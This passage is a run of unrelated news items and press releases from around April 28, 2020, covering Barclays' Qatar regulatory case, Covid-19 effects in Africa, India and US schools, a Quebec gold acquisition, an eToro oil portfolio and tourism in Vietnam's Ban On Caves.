disclose 322 million pounds ($400 million) in advisory payments to Qatari investors, whose capital injections helped the British bank avoid a state bailout in 2008. But an investigation into the bank and individuals was put on hold after the SFO launched a criminal inquiry in late 2012. In February this year, Jenkins and two other former Barclays executives were unanimously acquitted of fraud charges. The conclusion of the high-profile trial at London's Old Bailey meant Jenkins, once dubbed the bank's "gatekeeper" to the Qatari relationship, Tom Kalaris, who ran the wealth division, and Richard Boath, a onetime financial institutions boss, walked free. The men had all denied wrongdoing. But the end of the criminal trial also heralded the rekindling of the regulatory investigation, which could have led to executives being fined or banned from financial services. The FCA has not disclosed which individuals were in its sights. It said on Tuesday it normally did not comment about matters being considered by the Regulatory Decisions Committee, an internal panel of experts that takes enforcement and supervisory decisions on its behalf. Story continues A spokesman said in a statement that "we have strict confidentiality and privacy obligations to comply with." Boath has said the FCA ended an investigation into him years ago. Kalaris had not been in the regulator's sights, his lawyer said. Barclays, which said in 2013 that the FCA planned to fine it 50 million pounds for its failure to adequately disclose the Qatari advisory payments, said in its annual report published in February that it continued to contest the FCA findings. (Reporting by Kirstin Ridley; Editing by Sinead Cruise, Alexander Smith and Peter Cooney) Women from 48 of 54 African countries, have appealed to the African Union and Africa Centre for Disease Control and Prevention to provide financial support to the continent's women and girls during the Covid-19 pandemic. The women, through the Nairobi-based continental feminist organisation FEMNET, reported an increase in violence against women and girls forced in to marriage since the coronavirus pandemic hit Africa. The report came during the Anglo-Francophone Africa Regional Women's Webinar on Covid-19, which wrapped up last week. Speaking during the online conference, FEMNET executive director Memory Kachambwa called on African women and girls speak out so that policy makers across the continent did not lose sight of their suffering as they concentrate on the fight against Covid-19. FEMNET has sought answers from African governments but has received no response, Kachambwa said. Governments 'look the other way' How can governments claim legitimacy when they look the other way as women are beaten to death in their homes where they have been forced to stay there? "We want to know what resources and measures are in place to prevent violence against women. This is a reality that cannot and must not be ignored. Irungu Houghton, executive director of Amnesty International's office in the Kenyan capital, says since the outbreak of Covid-19, his organisation has seen a rise in gender-based and domestic violence across many countries in Africa, including Kenya, South Africa and Nigeria. Kenya recorded a 34 percent increase of calls for help in the first three weeks of the 7pm - 5am dusk to dawn curfew," says Houghton. "Legal protection, help lines, shelters and access to courts is desperately needed to ensure that women's rights and freedoms are not rolled back at this point." Spike in forced marriages Victoria Maloka, Acting Director of the AU Commission's Gender & Development Directorate told the webinar that parents across Africa had been "rampantly" marrying off their daughters since the coronavirus crisis began. Maloka called on African leaders not to lose sight of violence against women and girls during the pandemic. "These are issues that may be lost as countries grapple with this deadly disease," she said. Dinah Musindarwezo, a women rights advocate working with Womankind Worldwide in Britain, asked the African Union to address debt-relief by member states to negotiate debt-repayment delays that would help countries to focus better and give undivided attention to fighting the pandemic. On Sunday 26th April, figures from the World Health Organization showed that Africa had 30,367 cases of coronavirus, with 1,378 deaths and 9,107 recoveries. Five countries have reported a continued increase in rates infection: South Africa, Egypt, Morocco, Algeria and Cameroon. Toronto, Ontario--(Newsfile Corp. - April 28, 2020) - First Mexican Gold Corp. (TSXV: FMG) (OTC: FMGXF) (FSE: 21MA) ("FMG" or the "Company") is very pleased to announce the acquisition (the "Acquisition") of a 100% interest in the Golden Giant project (the "Golden Giant Project"), located in the James Bay lowlands area of the northwestern region in the Province of Quebec. The Golden Giant Project is comprised of two highly prospective land packages covering approximately 8,865 hectares, one of which is immediately contiguous with Azimut Exploration Inc.'s Elmer project and approximately 2.8 km south of the Patwon gold discovery as shown in Figure 1. Figure 1: Golden Giant project with respect to regional exploration activities To view an enhanced version of this graphic, please visit: https://orders.newsfilecorp.com/files/1791/55015_c936b46d244c08e3_002full.jpg The Golden Giant Project, comprised of the GGEast property (5,488 hectares) ("GGEast Property") and the GGWest property (3,377 hectares) ("GGWest Property") (together referred to as the "Properties"), both of which are underlain by felsic and mafic volcanic Archean rocks of the Wabamisk and Komo Formations, as shown in Figure 2, which are favourable hosts to gold mineralization in the James Bay region. The Properties are cut by regional fault structures, and have parallels to that of numerous other gold showings in the area, including Azimut's Patwon discovery from which recent drill results included up to 3.15 g/t Au over 102.0 m (see TSX-V: AZM press release dated January 14, 2020). Of particular interest is the magnetic signature underlying the GGEast Property, which consists of disrupted high-magnetic felsic volcanics, as shown in Figure 3, which may be associated with hydrothermal alteration or the emplacement of low-magnetic felsic intrusions. Within the GGEast Property, in a small block of 4 claims not held by the Company, historical prospecting and a single drill hole resulted in the discovery of the Grid A-16 gold showing. This indicates the gold-bearing potential of this highly underexplored property. Mineralization hosted on adjacent and/or nearby properties is not necessary indicative of mineralization hosted on the Properties. The Company is currently compiling regional government and past historical exploration data in order to prepare for an initial exploration program in respect of the Golden Giant Project during the summer 2020 field season. Initial plans include: a high-resolution drone magnetic survey to identify favourable structures and favourable felsic intrusions; prospecting and geological mapping; and ground-based induced polarization ("IP") geophysics in order to generate drill targets. Figure 2: Golden Giant East property underlain by geology and structure To view an enhanced version of this graphic, please visit: https://orders.newsfilecorp.com/files/1791/55015_c936b46d244c08e3_003full.jpg Figure 3: Golden Giant East property underlain by regional magnetics To view an enhanced version of this graphic, please visit: https://orders.newsfilecorp.com/files/1791/55015_c936b46d244c08e3_004full.jpg Management Change The Company also wishes to announce the resignation of Ms. Jessica Whitton as CEO, and thanks her for her valuable contributions over the past year. Ms. Whitton will remain as Corporate Secretary to FMG. Mr. Albert Contardi has been appointed Interim CEO of the Company in Ms. Whitton's stead. Mr. Contardi is a consultant/adviser with over 15 years of legal, investment and capital markets experience. He is currently President of Generic Capital Corporation, a Toronto-based EMD finance firm. Mr. Contardi's expertise involves advising and structuring corporate finance transactions in the mining, tech and bio-tech sectors to maximize the value of projects/assets. He has been called to the Ontario Bar and is a graduate of Queen's University Law School. Transaction Terms The Acquisition will be carried out in accordance with the terms of a share purchase agreement (the "Share Purchase Agreement") dated April 28, 2020, pursuant to which FMG will acquire all of the issued and outstanding common shares of 2678581 Ontario Inc. ("OntCo"), an arm's length party, which holds a 100% interest in the Golden Giant Project. As consideration for the Acquisition, FMG will: (i) pay the initial sum of $75,000; and (ii) issue an aggregate of 3,000,000 common shares in the capital of the Company to the shareholders of OntCo. The Acquisition remains subject to approval of the TSX Venture Exchange. Qualified Person Yves Rougerie P.Geo. (OGQ #423), an Independent Qualified Person ("QP") as such term is defined by National Instrument 43-101 - Standards of Disclosure for Mineral Projects, has reviewed and approved the geological information reported in this news release. The QP has not completed sufficient work to verify the historic information on the Properties, particularly in regards to historical exploration, neighbouring companies, and government geological work. The information provides an indication of the exploration potential of the Golden Giant Project but may not be representative of expected results. For further information please contact: Albert Contardi Interim Chief Executive Officer acontardi@genericcapital.ca 416-361-2832 Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Forward-looking statements: This news release contains forward-looking statements. All statements, other than of historical facts, that address activities, events or developments that the Company believes, expects or anticipates will or may occur in the future including, without limitation, the planned exploration program, the expected positive exploration results, the timing of the exploration results, the ability of the Company to continue with the exploration program, the availability of the required funds to continue with the exploration and the potential mineralization or potential mineral resources are forward-looking statements. Forward-looking statements are generally identifiable by use of the words "will", "should", "continue", "expect", "anticipate", "estimate", "believe", "intend", "to earn", "to have', "plan" or "project" or the negative of these words or other variations on these words or comparable terminology. Forward-looking statements are subject to a number of risks and uncertainties, many of which are beyond the Company's ability to control or predict, that may cause the actual results of the Company to differ materially from those discussed in the forward-looking statements. Factors that could cause actual results or events to differ materially from current expectations include, among other things, failure to meet expected, estimated or planned exploration expenditures, failure to establish estimated mineral resources, the possibility that future exploration results will not be consistent with the Company's expectations, general business and economic conditions, changes in world gold markets, sufficient labour and equipment being available, changes in laws and permitting requirements, unanticipated weather changes, title disputes and claims, environmental risks as well as those risks identified in the Company's annual Management's Discussion and Analysis. Should one or more of these risks or uncertainties materialize, or should assumptions underlying the forward-looking statements prove incorrect, actual results may vary materially from those described and accordingly, readers should not place undue reliance on forward-looking statements. Although the Company has attempted to identify important risks, uncertainties and factors which could cause actual results to differ materially, there may be others that cause results not to be as anticipated, estimated or intended. The Company does not intend, and does not assume any obligation, to update these forward-looking statements except as otherwise required by applicable law. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/55015 HONG KONG, April 28, 2020 /PRNewswire/ -- China Telecom Corporation Limited (the "Company") (HKEx: 728) (NYSE: CHA) announced that it has filed its Annual Report on Form 20-F for the year ended December 31, 2019 (the "2019 Form 20-F") with the U.S. Securities and Exchange Commission (the "SEC"). The 2019 Form 20-F is available on the Investor section of the Company's website at https://www.chinatelecom-h.com and on the SEC's website at https://www.sec.gov. Shareholders may also request a hard copy of the Company's complete audited financial statements, free of charge, by contacting the Company at: China Telecom Corporation Limited Investor Relations Department 28/F., Everbright Centre 108 Gloucester Road Wan Chai, Hong Kong Email: [email protected] IR Enquiry: (852) 2582-0388 Fax: (852) 2877-0988 SOURCE China Telecom Corporation Limited Related Links http://www.chinatelecom-h.com CAIRO After five years of war, the Saudi crown prince, Mohammed bin Salman, appeared to be inching away from his ruinous campaign in Yemen in recent weeks, seizing on the coronavirus pandemic to declare a unilateral cease-fire that, although ineffective, at least signaled that the prince finally agreed with critics who insisted the fight was unwinnable. His fractious Yemeni allies, however, have other ideas. A declaration of self-rule over the weekend by Yemens leading separatist group, which seized control of the southern port city of Aden and its Central Bank, threatens fresh chaos in the war-torn country. It comes as the wars main sponsors, the Saudis and the United Arab Emirates, distracted by their own woes, turn away from the fight. That has left their Yemeni allies, previously united against the Iranian-supported Houthis who control the countrys north, to battle for supremacy. [April 28, 2020] eToro Helps Retail Investors Access Global Oil Markets With New Portfolio LONDON, April 28, 2020 /PRNewswire/ -- Global multi-asset investment platform eToro has today launched a new long oil portfolio to give retail investors access to the oil market. This is in response to the unprecedented impact the COVID-19 pandemic and geopolitical tensions between OPEC members has had on oil prices and economies worldwide. Traditionally, access to the global oil market has remained difficult for retail investors and largely the preserve of institutions or professional investors. This portfolio will provide retail investors with diversified exposure to 20 global companies across the oil sector, spanning its various stages of production. It also includes oil-related instruments such as two ETFs and an oil futures contract. Yoni Assia, CEO and Co-founder of eToro, comments: "The ongoing COVID-19 crisis has dramatically shifted oil demand and this is having a knock-on effect on oil-dependent industries and companies. Is this really a new world order or just a temporary situation caused by the unprecedented crisis the world is trying to navigate? "In response to the strong demand we've seen from our client base asking for exposure to this part of the market in a regulated way, we have launched this portfolio. Many are viewing the low oilprices and impact this has had on some company's share prices as a buying opportunity. "We believe that investing should be made as easy as possible for people and markets should be opened up for everyone to invest in a simple and transparent way. Our portfolios enable people to invest in themes and ideas, ranging from 5G technology to gaming and now the oil sector." Clients can invest in the OilWorldWide portfolio from as little as $2,000 USD. 85% of the portfolio's allocation covers 20 of the largest oil companies in the world by market cap. 15% of the portfolio is allocated to oil ETFs such as the Energy Select Sector SPDR and SPDR S&P Oil and Gas Exploration and Production as well as the oil futures contract available on eToro. eToro's growing list of portfolios have been designed to make thematic investing easy for retail clients, enabling them to gain exposure to developments in areas such as renewable energy, big tech, drone and 5G technology. Notes to editors Visit our website for more information on the OilWorldWide portfolio . Geographical breakdown of companies included in this portfolio: About eToro eToro was founded in 2007 with the vision of opening up the global markets so that everyone can invest in a simple and transparent way. The eToro platform enables people to invest in the assets they want, from stocks and commodities to cryptoassets. We are a global community of more than ten million registered users who share their investment strategies; and anyone can follow the approaches of those who have been the most successful. Due to the simplicity of the platform users can easily buy, hold and sell assets, monitor their portfolio in real time, and transact whenever they want. www.etoro.com Disclaimer: eToro is regulated in Europe by the Cyprus Securities and Exchange Commission, by the Financial Conduct Authority in the UK and by the Australian Securities and Investments Commission in Australia. Your capital is at risk. CopyPortfolios is a portfolio management product. CopyPortfolios should not be considered as exchange-traded funds, nor as hedge funds. Past performance is not an indicator of future results. Photo: https://mma.prnewswire.com/media/1160447/eToro_Oil_Portfolio_Infographic.jpg Logo: http://mma.prnewswire.com/media/520426/eToro_Logo.jpg [ Back To TMCnet.com's Homepage ] The complex of five Ban On Caves in Moc Chau are quite pristine, magical and attractive and still a new and strange destination for visitors although being listed among the most impressive tourist attractions in Son La Province. The system of stalactites in the five Ban On Caves is very imposing. (Photo: mocchautourism.com.vn) The Elysium in the hill bed Moc Chau is blessed with many destinations that visitors admire when they arrive and are loathed to part with when they have to leave. Surprisingly, tourists are familiar with names such as the pine forest in Ang Hamlet, Dai Yem Waterfall, Doi Cave, Pha Luong mountain peak, the Heart tea hill, Pa Phach and Na Ka Hamlets; however, Ngu dong Ban On is unfamiliar for many people. A tourist said that: It is worth the effort to come here. If only I knew earlier, this destination would have been my first choice in Moc Chau. It is known that the complex was found in 2006. The historic flood at that time helped the local ethnic minority people discover a wonderful landscape that was created thousands of years ago. The caves are often located in deep in the mountain peaks; however, five Ban On Caves are in a hill bed on the path to the Heart Tea Hill and only about 5 kilometres from this destination. Therefore, after immersing themselves in the poetic beauty of the layered tea hills like gentle green waves, tourists will be surprised, disappointed and even shocked with the rugged path to the system of five Ban On Caves. To go there, visitors have to park their vehicles at the foot of the hill and walk about 1 kilometre. The distance is probably not far but it is worth mentioning that the path is quite arduous and narrow, just enough for a motorbike to pass. The higher it goes, the steeper it becomes. There is absolutely no houses on the long road to the caves, except for a suspended hut on the hill where the locals rest when they come here to cultivate. The path gets more and more zigzagged as it gets higher with many rocky slopes. soil and vegetations shattering into the tourists faces. In return, they will feel ecstatic with the sweet scent of grapefruit flowers on the hillsides. And then, all tiredness due to the arduous journey will immediately disappear as visitors see the masterpieces of mother nature. Despite not being as imposing as Thien Duong Cave in Quang Binh Province, as large as Nguom Ngao Cave in Cao Bang and Thien Cung Cave in Quang Ninh, the complex of five Ban On Caves in Son La has its own attraction that brings a special passion for visitors. Normally, there is only one direction to the caves; however, people can come to the five Ban On Caves in two ways. Accordingly, cave no.3 is on the right and cave no.4 is on the left. The three remaining caves are very beautiful but the paths there are too dangerous, so they are not exploited. The five caves represent the five elements of the nature: Kim (metal), Thuy (water), Moc (wood), Hoa (fire) and Tho (earth). Hong, the owner of a garage at the foot of the hill said that ancient people worshipped their ancestors in the caves, so there was an altar for Mother Au Co (the legendary mother of Vietnam). Visitors will be constantly surprised with mother natures interesting designs deep inside the cave complex. It can be said that each stalactite is a talented sculpture of nature that humans cannot recreate. For example, the stalactites created the shape of a pigs head right at the mouth of the cave no.3 and then the terraced field in the heart of the cave. Visitors can also recognise a giant phat thu (Buddha hand-shaped fruit) from stalactites at the far side of the cave. The deeper explorers go, the more shapes of animals (such as dragons, lions and seals) they can see. More interestingly, after passing over many wet and slippery paths, visitors will be surprised by the shape of a turtle carrying a baby cradle pick-a-back. Nguyen Van Tit, the manager of the caves, said that in the rainy season in July, when the water flows into the cave, the stalactites really resemble the image of a turtle carrying a baby cradle across the river. Another speciality of the cave no.3 is a dan da (lithophone) made from stalagmites like Thien Duong cave in Quang Binh Province. When a stone or stick knocks on it, melodious sounds will echo throughout the cave. Cave no.4 of the complex of five Ban On Caves is also very attractive. When the electric lights are switched on, a giant stalactite fir appears imposingly. The images of two people standing side by side under the fir as well as the system of pillars and a blind made of stalactites deep inside are very impressive. Behind the blind, visitors can see countless shapes of creatures such as geckos, camels, toads, snails, two lions and fairy peaches. In fact, the stalactites in Ban On Caves are more spectacular than those in Doi Cave (also in Moc Chau town), but the terrain of Doi Cave is more convenient for visitors. If not in good health, visitors can hardly conquer this cave complex. The path to the caves is very arduous. The princess sleeps in the forest Despite their pristine and spectacular beauty, the complex of five Ban On Caves has not been exploited for tourism in line with its potential. On the long path to the caves, there is only an introductory sign and a walkway from the hills foot to the caves was opened by the locals. The electric system in the caves is very limited so it is very difficult for visitors to admire the sights. In addition, the facilities for the caves are very rudimentary, simple wooden moldy ladders that make visitors worry when exploring them. Moreover, the caves are quite humid because they are located deep inside the wilderness. According to manager Tit, Son La provincial authorities have set plans to invest in the five caves, including the construction of a glass bridge connecting them. Le Do Luan, a representative from Moc Chau District Peoples Committee said that Son La will focus on investing and promoting the five Ban On Caves in the near future. The complex can be considered a bright pearl of Moc Chau Town in particular and the province in general as the destination converges all elements to attract visitors, especially those who like experiencing adventurous feelings. In addition, Moc Chau Town is no more than 200 kilometres from Hanoi, so it takes only three or four hours for visitors to enjoy the pure and fresh atmosphere in the mountainous region. If the complex of Ban On Caves is invested in more methodically, Moc Chau will be always the first choice of many visitors. Nhan Dan Exploring pristine beauty of apricot blossoms in Moc Chau These days, Moc Chau plateau in the northern mountainous province of Son La has attracted plenty of visitors coming to view the pristine beauty of the areas white apricot blossoms as they enter full bloom. Over 23,000 people from Himachal Pradesh who were stranded outside the state due to the coronavirus lockdown have returned to their native places in their own vehicles in the last three days after getting e-passes from respective district magistrates, police said on Tuesday. Thousands of people from the state are reportedly stranded in Punjab, Delhi, Chandigarh and other parts of the country since the nationwide lockdown began on March 25. There is no information whether the state government is making any arrangement for their return. As per data provided by Superintendent of Police (law and order) Khushal Sharma, a total of 23,361 stranded people from the state have returned to their native places in 6,396 vehicles from April 26 to April 28. Director General of Police (DGP) Sita Ram Mardi said the residents should maintain social distancing on the HP-Punjab border near Una's Mehatpur barrier while returning to the state. He asked them to download Aarogya Setu app and remain in home quarantine for 14 days after returning to their native places. As per data provided by the state police, the highest number of 12, 579 stranded people returned to Una district in 2,765 vehicles, followed by 6,733 people to Kangra in 2,180 vehicles and 2,852 people to Baddi police district in 948 vehicles. Similarly, 543 state residents returned to Solan district in 205 vehicles, 217 people to Bilaspur in 217 vehicles, 194 people to Shimla in 115 vehicles, 171 people to Sirmaur in 94 vehicles and 72 people to Chamba district in 25 vehicles. There is no official information available whether the state government is making any arrangement of buses for those stranded residents who do not have their own vehicles. When contacted, Information and Public Relations (IPR) Director Harbans Singh Brascon asked this correspondent to contact additional chief secretary (ACS) health R D Dhiman for it. However, Dhiman was not available for comments. The state government has, however, reportedly brought back some HP residents to the state in HRTC buses from Rajasthan's Kota and Chandigarh a few days ago, but there is no official information available for that. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Defence minister Rajnath Singh on Tuesday asked the Ordnance Factory Board (OFB) and defence public sector undertakings (DPSUs) to draw up contingency plans for resuming operations after the lockdown to combat the coronavirus disease is lifted, the ministry said in a statement. Singh said such plans were necessary to ramp up production and compensate for the time lost due to the Covid-19 outbreak. Singh spoke to top officials of the OFB and DPSUs, via video conference, and reviewed operational plans as well as their contribution to the fight against the pandemic. Several units of the OFB and DPSUs located in non-red zones have already kicked off operations and drawn up plans for post-lockdown operations, the ministry statement said. Defence ministry officials said the units of the OFB and DPSUs plan to work in three shifts six days a week (against the usual five) to speed up production. Work will be carried out by observing social distancing and other relevant health guidelines, the officials said. The defence ministry statement said that Singh referred to Prime Minister Narendra Modis plans to revive the economy post-lockdown and said that the DPSUs along with the private defence industry could play a major role in the revival. Singh praised the efforts of DPSUs in coming out with new products to fight Covid-19 and also the assistance provided by them to the local administration. The OFBs contribution in fighting Covid- 19 includes the repair of more than 100 ventilators, manufacture 12,800 coveralls, development of specialised machines for testing of personal protective equipment (PPE) kits and supply of 6.35 lakh masks to local authorities, the statement said. The OFB has also earmarked 280 isolation beds at hospitals spread across 10 locations. The statement said Bharat Electronics Ltd is ready to manufacture 12,000 ventilators in May and another 18,000 in June to support the national effort to tackle the disease. Around 3,000 engineers will help train health professionals in operationalising the ventilators, the ministry said. The statement said Hindustan Aeronautics Ltd has manufactured and supplied 300 aerosol cabinets to various hospitals and also distributed 56,000 masks and extended support to migrant labourers. HAL has also earmarked 93 isolation beds in Bangalore for Covid-19 patients. Teacher contracts are beginning to catch up with the realities of the coronavirus pandemic. And as it has done with so many other aspects of K-12 education, the coronavirus has forced districts to wrestle with a never-before-imagined question: If you can no longer realistically orient teachers duties and expectations in terms of a seven-and-a half hour dayor six periods and one prephow do you do it? What have emerged are more flexible arrangements for teachers. The actual amount of time teachers are expected to instruct on a daily or weekly basis is shorter. But they must reserve specific times for office hours, when they are available to help students and parents individually. Those details are showing up in a series of temporary memoranda of understanding, or MOUs, that district management and union leaders have hashed out in response to the radical change to the school day. See Also: 7 Big Issues for Unions and Districts in Remote Teaching Agreements Some of the agreements go beyond use of time to specify the types of interactions teachers are expected to have with their students, whether in a live or asynchronous format; others ask principals to take a key role in organizing learning. And still others are remarkably scant on details, leaving many questions open to interpretation. Its too early to draw any firm conclusions about whether these new ways of thinking about teachers work could carry over into future contracts, though there is already some debate over whether they strike the right balance of work and flexibilitya touchy topic in a profession that is dominated by women, many of whom report working far longer hours to assist their students. And then there are big questions about whether districts are setting new rules and procedures before theyre clear an on overall instructional vision for the next few months. Thats no small issue because many teachers are just at the early stages of transitioning from planning, review, and enrichment activities to covering new content. It is hard to set the rules for how you should be doing things, if you dont know what youre supposed to do yet. Only a few districts have really thought about that, said Evan Stone, the co-chief executive officer at Educators for Excellence, a teacher-led advocacy organization that has been scrutinizing the new arrangements. Its sort of a blaming conversation if all we talk about is the hours, and not the impact we want teaching and learning to have on students. A Matter of Triage About 70 percent of public school teachers report belonging to unions , according to U.S. Department of Education data, while stats from the Bureau of Labor Statistics for all teachers, public and private, put the figure lower , at around 50 percent; both of those tallies show the figures have been declining for years. Nevertheless, teaching remains among the most heavily unionized of all professions. Labor scholars point out that in a time of great uncertainty, like the pandemic, teacher contracts can provide some clarity of expectations for those on either side of the bargaining table. A collective bargaining agreement is important because it spells out the rules and makes the expectations really clear, both for teachers and for administrators, said Jon Shelton, an associate professor in the department of democracy and justice studies at the University of Wisconsin-Green Bay. So when you have a huge disruption in what the expectations are, you have to adjust them. Prior to the pandemic, some districts contracts explicitly gave districts the ability to override contract provisions in the case of pandemics or other emergencies, noted Brad Marianno, an assistant professor of educational policy and leadership at the University of Nevada, Las Vegas. But few districts are taking that scorched-earth path, instead opting for negotiations that try to outline what teachers, and in some cases administrators, will be responsible for. The details vary widely, though most of the newly inked MOUs operate as triage documents that focus on finishing out this school year, rather than setting long-term procedures and expectations for the future. Some of the MOUs, like those signed in Brevard and Charlotte counties in Florida, are a lean page or two. Others, like Bostons, at 15 pages, are more detailed. I cant imagine any district or union wanting to renegotiate a whole contract under these circumstances. Its not advantageous to them, Marianno said. Indeed, as districts began to deal with the bargaining implications of the pandemic several weeks ago, some states have explicitly told them to focus on the complexities of remote learning rather than putting every provision in their labor contracts up for debate. Guidance released by California Gov. Gavin Newsom to govern labor-management relations notes that districts should not condition employee wage increases or benefits on expeditious approval of agreements in effect pushing those potentially more-difficult topics down the road. Districts that already had relatively stable relationships with their teachers unions have generally managed to reach new deals with a minimum of drama. I do have to say that [the teachers] have been terrific in the sense that, theres been a little give and take and back and forth, but for the most part weve put together a plan that builds in live time, face-to-face time with the kids, but obviously has a lot of asynchronous learning opportunities, too, said Joseph Maruszczak, the superintendent of the Mendon-Upton Regional school district in Massachusetts. Some districts with a difficult labor history have put that aside as they negotiated their new plans. Los Angeles teachers walked off the job for six days in 2019 , but they were able to reach agreement April 8 on a contract framework. Cecily Myart-Cruz, the president of United Teachers Los Angeles, said one of her unions lines in the sand was making sure teachers wouldnt be required to engage in face-to-face virtual learning. High rates of doubling-up in housing among teachers and families alike due to the citys expensive rental market made that just too fraught, she said. And she was insistent that the MOU allow for flexibility for teachers with children of their own. Tough as nails folks were saying to me, Im on the verge of tears here, because I have to choose between nap time and snuggles with my kids, and being with my class, whom I love also, she said. But now theyre saying, I have something in black and white I can use to structure my remote learning environment around my babys schedule. Some Issues Still Open Some of the negotiations have often foundered not on traditional bread-and-butter issues; for now, it appears most if not all districts are keeping wages intact through the end of the school year. But seemingly minor issues have taken on new significance in the age of the coronavirus. In Orange County, Fla., district and union leaders struggled over issues like taking attendance, whether teachers would have to use their own phones to contact students and families, and especially the number of meetings and PD sessions teachers would have to participate in each week. The union did a red-pen mark-up of one of the districts communications to teachers, accusing it of imposing work terms on teachers rather than negotiating them. The two parties eventually reached an accord on April 21, which among other things limits weekly PD and staff meetings to just 50 minutes. In Sacramento, Calif., ongoing tensions between district and union over prior pacts have made reaching a detailed accord to address remote teaching and learning much more difficult. Both sides have accused their counterparts of imposing terms and failing to negotiate in good faith, which has led the union to file an unfair labor practice charge. The previous drama hasnt helped, said David Fisher, the president of the Sacramento City Teachers Association. Theres not a lot of trust. The district says it rolled out online learning April 13 despite the lack of an agreement after it became clear some students were in contact with their teachers and others werent. Our students need us to think creatively and act courageouslyand to do so quickly, Superintendent Jorge Aguilar said in a statement. Bigger Picture Questions Theres no systematic analysis of the coronavirus-inspired MOUs yet. But those efforts are beginning: Marianno and a graduate student have begun to collect them from large, urban school districts. So far, about 30% of the 65 districts theyve examined have reached a formal pact with their union. Some of the larger contracts have already invited scrutiny, with some critics arguing that three to four hours of instruction is far too little even as others point out that, according to data first reported by the news site Chalkbeat, nearly half of teachers have children living at home. Stone of E4E feels that those conversations miss the larger point: Are districts clear on what they want teachers to accomplish? Have they provided curriculum or back-mapped those expectations into the MOUs? Do they leave appropriate flexibility for principals to make school-level decisions, or allow teachers to adapt to new learning guidelines? Until recently just a fraction of districts in a database of learning plans maintained by the Center on Reinventing Public Education, in Seattle, specified the curriculum or materials teachers should be using, Stone noted. Most teachers were talking to, even those that have clear guidance, are still like, What are we supposed to be doing? Even once its in place, theres a whole other step before it gets to the teachers and they feel like they have the support and knowledge to deliver on these expectations, he said. I also think these agreements should be seen as a bare minimum of what needs to happen, because many teachers are going way above and beyond them. Stone praised the Boston MOU for allowing a degree of flexibility: Principals and teachers at each school set a regular schedule for online learning, which helps set some clear routines and expectations for families, but allows teachers to rotate in different shifts as needed. It also specifies that every student should be contacted at least once every three days. On the other hand, he said, contracts that cap weekly staff meetings and PD hoursas both Los Angeles and Orange County, Fla., domight tie the hands of both staff and teachers who are still getting their arms around distance learning best practices. What Happens Next? Some of the MOUs set new guidelines around touchy policies, toolike how teachers should approach grading , or altering the teacher-evaluation process. Both of those have been major areas of concern for administrators and teachers alike. Seven of the 12 MOUs Education Week examined explicitly pause the teacher-evaluation process for some or all teachers this year. What the new arrangements also generally dont do is specify long-term changes that go beyond the current school year. And with a financial crisis looming, most districts will need to be back at the bargaining table this summer. Some will need to hammer out plans to help students catch up. And since most of the MOUs punt on salary and layoffs, they will need to open up that topic later this year as districts begin to finalize what are expected to be austere budgets for the 2020-21 school year and even midyear cuts as state education funding plummets. Already, there are signs that those topics could be contentious. The United Federation of Teachers, which represents teachers in the nations largest district, New York City, has signaled it wont agree to begin the next school year early , The New York Times has reported. As for the teaching force in the Mendon-Upton district, I think they are all cognizant that in the last five to six weeks, everything has dramatically changed, said Maruszczak, the superintendent. I dont think were going to be unique in that were going to look for a short-term solution, probably a one-year rollover of some degree, because theres such a large degree of uncertainty. And we have to look at the financial crisis thats occurring at every level. I think a lot of people arent there yet and arent necessarily actively thinking about it, he continued, but I dont see how you can whistle past the graveyard, so to speak, and say everythings going to be fine and everyones going to have a two and a half percent [cost-of-living] increase next year. I dont think its realistic. [The stream is slated to start at 3 p.m. TIME ET. Please refresh the page if you do not see a player above at that time.] President Donald Trump on Tuesday delivers remarks on the Paycheck Protection Program. The government relief program offers forgivable loans to small businesses that keep employees on the payroll amid the coronavirus crisis. Trump signed legislation on Friday replenishing the fund that ran out of money soon after it was established as part of the CARES Act Congress passed in late March to aid businesses and workers facing economic distress. The program faced backlash after several public companies disclosed they had taken out the loans, which were intended to help small businesses with fewer than 500 employees weather the coronavirus pandemic. Treasury Secretary Steven Mnuchin told CNBC on Tuesday that the government will audit any company seeking more than $2 million from the program. "This was a program designed for small businesses. It was not a program that was designed for public companies that had liquidity," Mnuchin said on "Squawk Box." Subscribe to CNBC on YouTube. Cavan Monaghan Sinn Fein TD, Matt Carthy, has called on the government to provide clarity regarding student grant applications particularly for those whose familys income has been affected by Covid-19. Deputy Carthy said: The SUSI student grant application process opened last week. Crucially, however, there has been no specific recognition of the fact that many families have lost jobs or had income reduced due to Covid-19. Because the assessment is seemingly based on 2019 income, it appears that no provision has been made for the changed realities that Covid-19 has presented and there is a fear that the new position for many students and families is being ignored. While the Department of Education has referenced the Change of circumstances provision, the guidelines state that this only applies where a change is permanent or for the foreseeable future. It isnt at all clear that this will allow for people who are unemployed now as a result of the Coronavirus restrictions, and who do not know if their employment will reopen or not. There is growing concern among students and their families in Cavan and Monaghan and Sinn Fein have therefore called on Education Minister, Joe McHugh, to address those concerns. What is required here is clarity, certainty and honesty for students and their families. Students are facing enough pressure and uncertainty as it is without this additional stress. We in Sinn Fein are calling on the Minister to immediately amend the criteria to insert specific arrangements for students whose families incomes have been affected by the Covid-19 situation. It is the fair and appropriate course of action. [April 28, 2020] Last Mile Holdings Announces Postponement of Filing Annual Financial Statements and MD&A Due to COVID-19 Related Delays CHARLESTON, SC and VANCOUVER, April 28, 2020 /CNW/ - Last Mile Holdings Ltd. (formerly OjO Electric Corp.) (the "Company" or "MILE") (TSXV: MILE; OTC: AZNVF) announces the postponement of filing its annual financial statements and management's discussion and analysis for the year ended December 31, 2019 due to logistics and delays caused by the COVID-19 pandemic. The Company is relying on exemptive relief recently granted by Canadian securities regulatory authorities that allows it to delay the filing of its annual documents required by sections 4.2 and 5.12(2) of National Instrument 51-102 by April 29, 2020. In response to the coronavirus disease pandemic, securities regulatory authorities in Canada have granted a blanket exemption allowing issuers an additional 45 days to complete their regulatory filings. MILE anticipates that its 2019 annual documents will be available for filing at its earliest opportunity, which is expected to occur on or before June 16, 2020. Until such time as the 2019 annual documents are filed, the Company's management and insiders are subject to a trading blackout that reflects the principals contained in section 9 of National Policy 11-207 Failure-to-File Cease Trade Orders and Revocations in Multiple Jurisdictions. Other than as previously disclosed by the Company in news releases, there have been no material business developments since the date of the last interim financial statements filed on November 29, 2019, copies of which are available on SEDAR at www.sedar.com. The Company will be providing an update news release on the status of filing its December 31, 2019 audited financial statements and its March 31, 2020 first quarter unaudited financial statements by May 29, 2020. About Last Mile 